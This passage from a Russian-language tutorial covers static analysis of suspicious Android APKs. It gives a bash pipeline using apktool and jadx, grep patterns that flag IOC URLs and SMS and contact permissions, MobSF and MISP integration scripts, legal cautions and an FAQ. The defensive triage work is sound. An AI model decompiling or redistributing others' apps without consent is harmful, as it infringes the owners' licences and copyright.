bash
#!/bin/bash
<h2 id="analyze-apk-sh">analyze_apk.sh</h2>
APK_FILE="$1"
OUTPUT_DIR="analysis_$(date +%Y%m%d_%H%M%S)"
mkdir -p "$OUTPUT_DIR"
<h2 id="1-hesh-dlya-identifikatsii">1. Хеш для идентификации</h2>
sha256sum "$APK_FILE" > "$OUTPUT_DIR/hash.txt"
<h2 id="2-apktool-resursy-i-manifest">2. APKTool: ресурсы и манифест</h2>
apktool d "$APK_FILE" -o "$OUTPUT_DIR/apktool" 2>/dev/null
<h2 id="3-jadx-ishodnyy-kod">3. JADX: исходный код</h2>
jadx -d "$OUTPUT_DIR/jadx" "$APK_FILE" 2>/dev/null
<h2 id="4-poisk-indikatorov">4. Поиск индикаторов</h2>
grep -rE "http.*\.(com|ru|tk|ml|ga)" "$OUTPUT_DIR" > "$OUTPUT_DIR/ioc_urls.txt"
grep -rE "RECEIVE_SMS|SEND_SMS|READ_CONTACTS" "$OUTPUT_DIR/apktool/AndroidManifest.xml" > "$OUTPUT_DIR/permissions.txt"
<h2 id="5-otchyot">5. Отчёт</h2>
cat > "$OUTPUT_DIR/report.md" << EOF
<h2 id="analiz-apk-file">Анализ $APK_FILE</h2>
<h2 id="hesh">Хеш</h2>
$(cat "$OUTPUT_DIR/hash.txt")
<h2 id="podozritelnye-razresheniya">Подозрительные разрешения</h2>
$(cat "$OUTPUT_DIR/permissions.txt")
<h2 id="naydennye-indikatory">Найденные индикаторы</h2>
$(cat "$OUTPUT_DIR/ioc_urls.txt")
EOF
echo "✅ Анализ завершён. Отчёт: $OUTPUT_DIR/report.md"
2. Интеграция с MobSF через API
python
<h2 id="mobsf-scan-py">mobsf_scan.py</h2>
import requests
import time
MOBSF_URL = "http://localhost:8000"
API_KEY = "your_api_key"
def scan_apk(file_path):
# Загрузка
with open(file_path, 'rb') as f:
upload = requests.post(
f"{MOBSF_URL}/api/v1/upload",
files={'file': f},
headers={'AUTH_TOKEN': API_KEY}
)
scan_id = upload.json()['hash']
# Запуск сканирования
requests.post(
f"{MOBSF_URL}/api/v1/scan",
data={'hash': scan_id},
headers={'AUTH_TOKEN': API_KEY}
)
# Ожидание завершения
while True:
status = requests.get(
f"{MOBSF_URL}/api/v1/scan_status",
params={'hash': scan_id},
headers={'AUTH_TOKEN': API_KEY}
)
if status.json()['status'] == 'finished':
break
time.sleep(5)
# Получение отчёта
report = requests.get(
f"{MOBSF_URL}/api/v1/report_json",
params={'hash': scan_id},
headers={'AUTH_TOKEN': API_KEY}
)
return report.json()
<h2 id="ispolzovanie">Использование</h2>
result = scan_apk("suspicious.apk")
print(f"Уровень риска: {result['severity']}")
print(f"IOC: {result['urls']}")
3. Интеграция с TheHive/MISP для обмена индикаторами
python
<h2 id="forward-to-misp-py">forward_to_misp.py</h2>
from pymisp import PyMISP
def send_iocs_to_misp(iocs, misp_url, misp_key):
misp = PyMISP(misp_url, misp_key, ssl=True)
for ioc in iocs:
misp.add_attribute(
event_id='your_event_id',
type='url' if 'http' in ioc else 'domain',
value=ioc,
comment='Extracted from APK static analysis'
)
4. Планирование массового анализа через cron
bash
<h2 id="etc-cron-d-apk-scanner">/etc/cron.d/apk-scanner</h2>
<h2 id="skanirovat-novuyu-papku-kazhdye-15-minut">Сканировать новую папку каждые 15 минут</h2>
*/15 * * * * root /usr/local/bin/batch_scan.sh /incoming/apk /output/reports
Безопасность и юридические аспекты анализа чужих приложений
Техническая безопасность- Всегда работайте в изолированной среде (ВМ, контейнер)
- Не подключайте анализирующую систему к корпоративной сети
- Не запускайте код из подозрительных APK, даже в изоляции
- Регулярно обновляйте инструменты анализа
Юридические ограничения
- Анализ собственных приложений — разрешён без ограничений
- Анализ приложений из публичных источников — обычно разрешён для исследовательских целей (доктрина добросовестного использования)
- Анализ коммерческих приложений без согласия правообладателя — может нарушать лицензионные соглашения и законы об авторском праве
- Распространение декомпилированного кода — почти всегда нарушает авторские права
Рекомендации
1. Анализируйте только образцы, полученные легально (публичные репозитории, с согласия владельца)
2. Не публикуйте исходный код коммерческих приложений — только индикаторы компрометации (хеши, домены, поведенческие паттерны)
3. При анализе в корпоративной среде согласуйте действия с юридическим отделом
4. Для исследований регистрируйтесь в программах Bug Bounty — они часто разрешают реверс-инжиниринг
> ⚖️ Дисклеймер: Данный материал не является юридической консультацией. Перед анализом приложений третьих сторон проконсультируйтесь с юристом, специализирующимся на интеллектуальной собственности и информационном праве.
Часто задаваемые вопросы (FAQ)
Вопрос 1: Можно ли полностью доверять результатам статического анализа?Нет. Статический анализ не раскрывает поведение, зависящее от внешних условий. Для подтверждения гипотез может потребоваться динамический анализ в изолированной песочнице.
Вопрос 2: Какой инструмент лучше для новичка?
VirusTotal — не требует установки, интуитивный интерфейс, мгновенный результат. Для более глубокого анализа — JADX-GUI с визуальной навигацией.
Вопрос 3: Что делать, если код обфусцирован и не читается?
- Попробуйте другой декомпилятор (CFR, Procyon через Bytecode Viewer)
- Ищите строки-ключи в resources.arsc для восстановления имён
- Анализируйте граф вызовов и разрешения для понимания назначения приложения
Вопрос 4: Можно ли анализировать APK, защищённые от декомпиляции?
Полная защита от декомпиляции технически невозможна — байт-код должен выполняться виртуальной машиной. Но продвинутые обфускаторы (DexGuard) могут сильно затруднить анализ. В таких случаях фокусируйтесь на манифесте, ресурсах и нативных библиотеках.
Вопрос 5: Безопасно ли загружать APK в VirusTotal?
Только если образец не содержит конфиденциальных данных. Все загруженные файлы становятся доступны исследователям и партнёрам сервиса. Для конфиденциальных образцов используйте локальные инструменты (MobSF, JADX).
Вопрос 6: Как отличить легитимное приложение от вредоносного по манифесту?
Красные флаги:
- Запрос разрешений, не соответствующих функционалу (например, доступ к SMS в калькуляторе)
- Использование AccessibilityService без очевидной причины
- Регистрация BroadcastReceiver на системные события (BOOT_COMPLETED, SMS_RECEIVED) без необходимости
Вопрос 7: Можно ли автоматизировать анализ для сотен образцов?
Да. Используйте MobSF API, Androguard + Python-скрипты или кастомные парсеры на основе APKTool. Интегрируйте с TheHive/MISP для обмена индикаторами.
Вопрос 8: Что делать, если найдены индикаторы компрометации?
1. Задокументируйте результаты (хеши, домены, поведенческие паттерны)
2. Добавьте индикаторы в чёрные списки (фаервол, DNS-фильтр, антивирус)
3. При необходимости передайте информацию в правоохранительные органы или платформы обмена угрозами (MISP, OTX)
Вопрос 9: Нужно ли обновлять инструменты анализа?
Да. Новые версии Android, техники обфускации и форматы APK требуют актуальных парсеров. Проверяйте обновления минимум раз в месяц.
Вопрос 10: Можно ли использовать эти инструменты для анализа легитимных приложений?
Да, для обучения, аудита безопасности или исследования архитектурных решений. Но соблюдайте лицензионные соглашения и не распространяйте декомпилированный код.
Вопрос 11: Что делать, если инструмент не может открыть APK?
- Проверьте целостность файла (возможно, повреждён при загрузке)
- Убедитесь, что это действительно APK (а не переименованный ZIP)
- Попробуйте другой инструмент (некоторые лучше справляются с нестандартными сборками)
Вопрос 12: Как проверить, что анализ проведён корректно?
- Сравните результаты нескольких инструментов (JADX + APKTool + MobSF)
- Проверьте хеши извлечённых файлов на соответствие оригиналу
- Документируйте все шаги для воспроизводимости
Заключение: Выбор инструмента под ваши задачи в 2026 году
Статический анализ подозрительных APK без установки — критически важный навык для специалистов по мобильной безопасности, аналитиков SOC и ответственных пользователей. В 2026 году арсенал бесплатных инструментов позволяет провести глубокий аудит без коммерческих лицензий и без риска заражения.Краткие рекомендации
| Задача | Рекомендуемый инструмент | Обоснование |
|---|---|---|
| Быстрая проверка репутации | VirusTotal | Мгновенный вердикт от 70+ антивирусов |
| Глубокий анализ кода | JADX + APKTool | Лучшее качество декомпиляции + полный парсинг ресурсов |
| Комплексный аудит | MobSF | Автоматизированный поиск уязвимостей, структурированный отчёт |
| Автоматизация в SOC | MobSF API + Androguard | Программный доступ, интеграция с внешними системами |
| Исследование обфускации | Bytecode Viewer + несколько декомпиляторов | Сравнение результатов, визуальная навигация |
| Кастомный анализ | Androguard + Python | Полная контролируемость, гибкость правил |
Общие рекомендации
✅ Всегда начинайте с изолированной среды (ВМ, контейнер)
✅ Комбинируйте инструменты: ни один не идеален во всём
✅ Документируйте процесс для воспроизводимости и отчётности
✅ Обновляйте инструменты регулярно — угрозы эволюционируют
✅ Соблюдайте юридические ограничения при анализе чужих приложений
Будущее статического анализа
В ближайшие годы ожидаются:
- Улучшение декомпиляторов для работы с новыми версиями Kotlin/Java
- Интеграция ML-моделей для автоматического обнаружения подозрительных паттернов
- Развитие стандартов обмена индикаторами (STIX/TAXII) для мобильной безопасности
- Рост использования WebAssembly и кроссплатформенных фреймворков (Flutter, React Native), усложняющих анализ
Технологии защиты и атаки развиваются параллельно. Освоив описанный в этом руководстве пайплайн, вы получите надёжный инструмент для обнаружения угроз, минимизации рисков и обеспечения безопасности мобильных экосистем.